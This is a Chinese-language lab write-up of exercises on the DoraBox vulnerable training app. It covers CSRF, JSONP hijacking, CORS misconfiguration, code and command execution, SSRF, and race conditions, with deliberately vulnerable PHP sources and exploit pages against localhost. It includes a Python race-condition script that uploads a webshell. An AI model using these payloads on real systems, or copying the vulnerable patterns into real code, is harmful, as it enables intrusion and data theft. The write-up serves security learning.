CSRF
CSRF跨站点请求伪造(Cross—Site Request Forgery),具有很大的危害性
攻击原理:
用户访问一个存在CSRF漏洞的网站后,网站返回cookie给浏览器,同时在用户未退出该网站之前,在同一浏览器访问了恶意网站,该恶意网站,则会返回攻击性代码,请求访问那个存在漏洞的网站。浏览器接收到攻击代码后,会执行恶意网站的请求——访问刚刚那个网站,网站利用cookie登录。
参考资料:https://blog.csdn.net/xiaoxinshuaiga/article/details/80766369
JSONP劫持
JSONP就是为了跨域 获取资源 而产生的一种 非官方 的技术手段(官方的有 CORS 和 postMessage)
利用<script>
元素标签,远程调用JSON文件实现数据传递
:查看源码
<?php
include "../class/function.class.php";
$reqMethod = "GET";
$reqValue = "callback";
$p = new Func($reqMethod, $reqValue);
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
if(!@$_GET['callback']){
echo $p -> con_function('json_encode',$info); //如果没有callback,则显示$info中的内容,也就是我们需要的
}else{
//如果存在callback,那么对callback进行处理后加上$info的内容,即上图的样子
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
}
?>
:利用alert弹窗,将内容显示出来,编写代码如下
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>DoraBox - JSONP</title>
</head>
<body>
<script type="text/javascript">
function test(n)
{
alert(n.address);
}
</script>
<script type="text/javascript" src="http://127.0.0.1/DoraBox-master/csrf/jsonp.php?callback=test"></script>
</body>
</html>
:得到address的内容
CORS跨域资源读取
参考资料:https://blog.csdn.net/u014029795/article/details/103231139
:查看源码
<?php
if (@$_SERVER['HTTP_ORIGIN']){
//判断是否存在http_origin
header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);//如果有就允许该origin
}else{
header("Access-Control-Allow-Origin: *");//如果没有就允许所有origin
}
header("Access-Control-Allow-Headers: X-Requested-With");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
echo json_encode($info);
?>
:emm。。没有思路,根据参考资料
<!doctype html>
<html>
<title>test file cors</title>
<body>
<script>
function sendAjax() {
//构造表单数据
//var formData = new FormData();
//formData.append('username', 'johndoe');
//formData.append('id', 123456);
//创建xhr对象
var xhr = new XMLHttpRequest();
//设置xhr请求的超时时间
xhr.timeout = 3000;
//设置响应返回的数据格式
xhr.responseType = "text";
//创建一个 GET 请求,采用异步
xhr.open('GET', 'http://127.0.0.1/DoraBox-master/csrf/userinfo.php', true);
//注册相关事件回调处理函数
xhr.onload = function(e) {
if(this.status == 200||this.status == 304){
//document.write(this.responseText);
alert(this.responseText);
}
};
//xhr.ontimeout = function(e) { ... };
//xhr.onerror = function(e) { ... };
//xhr.upload.onprogress = function(e) { ... };
//发送数据
//xhr.send(formData);
xhr.send();
}
sendAjax();
</script>
</body>
</html>
<hr>
:本机连接,得到如下图
代码/命令
任意代码执行
任意代码执行漏洞简介:https://blog.csdn.net/sdb5858874/article/details/80788933
php中例如eval,assert函数,在将字符串转换成代码的过程中没有考虑,攻击者对字符串的控制,造成代码注入漏洞
:尝试执行一句话木马,得到如下报错
发现利用的是assert()函数,assert()函数在php中是用来判断表达式是否成立的,返回布尔值
:执行phpinfo(),会直接执行成功
任意命令执行
:查看源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>DoraBox - 命令执行</title>
</head>
<body>
<?php
include "../class/function.class.php";
$p = new Func("GET","command");
$p -> con_html();
if (isset($_REQUEST['submit'])) {
$command = $_REQUEST['command'];
echo $p -> con_function('exec',$command);
}
?>
</body>
</html>
exec()函数是用来执行一个外部程序,在Linux中的使用较多
exec语法:
string exec(string command, string [array], int [return_var]);
command:需要执行的命令
array:输出值
return_var:返回值0或1
:随便执行命令,例如:ipconfig
、whoami
等
SSRF
SSRF (Server-side Request Forge, 服务端请求伪造)
它是由服务器发起的,并且该攻击目标一般是内网系统。
服务端具有从其他服务器获取数据的功能,但是没有对协议等进行限制和过滤
:输入1,发生报错,返回如下报错信息
发现用的是file_get_contents()函数,该函数用于将整个文件读入一个字符串中
:尝试访问http://4399.com,成功访问
:尝试访问本机的网页,成功访问
其他
条件竞争——支付
条件竞争:https://blog.csdn.net/u014029795/article/details/102913219
程序开发时对并发问题的处理不到位,多线程的请求,出现逻辑缺陷,大多出现在金额同步,支付等
:查看,分析源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>支付页面</title>
</head>
<body>
<?php
include('../conn.php');
$db = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
$sql = "SELECT rest FROM account";
$rest = intval($db->query($sql)->fetch_assoc()['rest']);
$sql = "SELECT own FROM account";
$own = intval($db->query($sql)->fetch_assoc()['own']);
echo "
<form action='' method='post'>
余额:{$rest}元
<br>
支付<input type='text' name='money'>元给林晨去买辣条<br>
<input type='submit' value='支付'><br>
林晨现在手里有{$own}元
</form>
";
if ($_POST){
$money = intval($_POST['money']);
if($money <= $rest) {
$sql = "UPDATE account SET rest=rest-".$money;
$db->query($sql);
$sql = "UPDATE account SET own=own+".$money;
$db->query($sql);
echo "<script>alert('支付成功');window.location.href=this.location.href</script>";
} else {
echo "支付失败,可能是因为您的余额不足。";
}
}
?>
</body>
</html>
:分析源码,假想多线程的进行,我有余额15,同时发出两次请求,支付15元给林晨,第一次和第二次请求同时到了数据库判断$sql = "SELECT rest FROM account";
这一步,返回同样的结果, 第一次请求判断可以支付该语句中的$sql = "UPDATE account SET rest=rest-".$money;
rest变量的值修改了,但是数据库的值还没改,而第二次请求也到了,所以$rest
又减了一次,最后的余额就会变成负数
:这里我们利用作者给出的PoC来看,这里是跑了50次
:but,我又出现问题了。。
解决方法1:https://blog.51cto.com/suyanzhu/2313798
解决方法2:https://blog.csdn.net/u012106306/article/details/80760744
然而,我并没有解决。。
:哎。
条件竞争——上传
:分析代码,程序想表达–>文件上传后,检查后缀,若不在白名单,则删除文件
<?php
show_source(__FILE__);
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./uploads/";
$filename = $_FILES['myfile']['name'];
if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
die("error:can not move!");
}
} else {
die("error:not an upload fileï¼");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";
if ($_FILES['myfile']['error'] > 0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['myfile']['name']));
if (!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the fileï¼");
}
?>
error:not an upload fileï¼
竞争点在于,先执行文件还是先删除文件
:考虑多线程,写两个php一句话木马,和上一个一样的分析方法,以达到执行一个php文件的效果,这里还是利用作者的PoC
import requests
import threading
import os
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = 'http://.../key.php' #上传的文件地址
self.uploadUrl = 'http://.../upload.php' #上传文件的地址
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print('[*] create file info.php success.')
os._exit(0)
def _upload(self):
print('upload file...')
file = {'myfile': open('key.php', 'r')} #本地脚本木马
requests.post(self.uploadUrl, files=file)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()
if __name__ == '__main__':
threads = 50
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()
:但是我依旧搞不起。。。
任意文件读取
任意文件读取,emm,就读取file_read.php